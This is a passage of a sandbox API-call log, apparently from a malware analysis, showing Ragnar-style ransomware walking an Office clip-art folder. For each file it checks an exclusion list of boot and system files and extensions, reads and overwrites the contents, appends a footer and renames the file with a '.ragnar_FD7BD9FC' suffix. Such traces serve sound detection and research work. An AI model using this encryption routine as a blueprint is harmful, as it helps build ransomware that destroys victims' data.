Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0096.667] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.667] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18219_.WMF" | out: lpString1="BD18219_.WMF") returned="BD18219_.WMF" [0096.667] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF") returned=".WMF" [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="autorun.inf") returned 1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="boot.ini") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="bootfont.bin") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="bootsect.bak") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="bootmgr") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="bootmgr.efi") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="desktop.ini") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="iconcache.db") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="ntldr") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="ntuser.dat") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="ntuser.ini") returned -1 [0096.667] lstrcmpiW (lpString1="BD18219_.WMF", lpString2="thumbs.db") returned -1 [0096.667] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.667] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.667] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.667] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.667] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.667] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.667] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf")) returned 0x20 [0096.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.668] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4406) returned 1 [0096.668] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x112d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.668] GetProcessHeap () returned 0x580000 [0096.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.668] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.669] VirtualAlloc (lpAddress=0x0, dwSize=0x1136, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.670] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1136, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1136, lpOverlapped=0x0) returned 1 [0096.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1136, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.670] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1136, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1136, lpOverlapped=0x0) returned 1 [0096.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1136, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.671] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1136, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.671] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.671] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.671] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.671] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.671] GetProcessHeap () returned 0x580000 [0096.671] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.671] CloseHandle (hObject=0xf4) returned 1 [0096.671] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" [0096.671] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.ragnar_FD7BD9FC" [0096.671] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.672] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0096.672] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.672] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18220_.WMF" | out: lpString1="BD18220_.WMF") returned="BD18220_.WMF" [0096.672] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF") returned=".WMF" [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="autorun.inf") returned 1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="boot.ini") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="bootfont.bin") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="bootsect.bak") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="bootmgr") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="bootmgr.efi") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="desktop.ini") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="iconcache.db") returned -1 [0096.672] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="ntldr") returned -1 [0096.673] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="ntuser.dat") returned -1 [0096.673] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.673] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="ntuser.ini") returned -1 [0096.673] lstrcmpiW (lpString1="BD18220_.WMF", lpString2="thumbs.db") returned -1 [0096.673] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.673] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.673] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.673] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.673] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.673] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.673] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf")) returned 0x20 [0096.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.673] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=8508) returned 1 [0096.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2133, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.674] GetProcessHeap () returned 0x580000 [0096.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.674] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.675] VirtualAlloc (lpAddress=0x0, dwSize=0x213c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.675] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x213c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x213c, lpOverlapped=0x0) returned 1 [0096.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.676] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x213c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.676] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x213c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x213c, lpOverlapped=0x0) returned 1 [0096.676] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x213c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.676] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x213c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.677] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.677] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.677] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.677] GetProcessHeap () returned 0x580000 [0096.677] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.677] CloseHandle (hObject=0xf4) returned 1 [0096.677] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" [0096.677] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.ragnar_FD7BD9FC" [0096.677] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0096.678] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.678] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18221_.WMF" | out: lpString1="BD18221_.WMF") returned="BD18221_.WMF" [0096.678] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF") returned=".WMF" [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="autorun.inf") returned 1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="boot.ini") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="bootfont.bin") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="bootsect.bak") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="bootmgr") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="bootmgr.efi") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="desktop.ini") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="iconcache.db") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="ntldr") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="ntuser.dat") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="ntuser.ini") returned -1 [0096.678] lstrcmpiW (lpString1="BD18221_.WMF", lpString2="thumbs.db") returned -1 [0096.678] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.678] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.678] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.678] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.678] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.678] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.678] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf")) returned 0x20 [0096.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.680] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1836) returned 1 [0096.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x723, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.680] GetProcessHeap () returned 0x580000 [0096.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.680] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.681] VirtualAlloc (lpAddress=0x0, dwSize=0x72c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.681] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x72c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x72c, lpOverlapped=0x0) returned 1 [0096.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x72c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x72c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x72c, lpOverlapped=0x0) returned 1 [0096.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x72c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.682] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.682] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.682] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.682] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.682] GetProcessHeap () returned 0x580000 [0096.682] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.682] CloseHandle (hObject=0xf4) returned 1 [0096.682] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" [0096.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.ragnar_FD7BD9FC" [0096.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 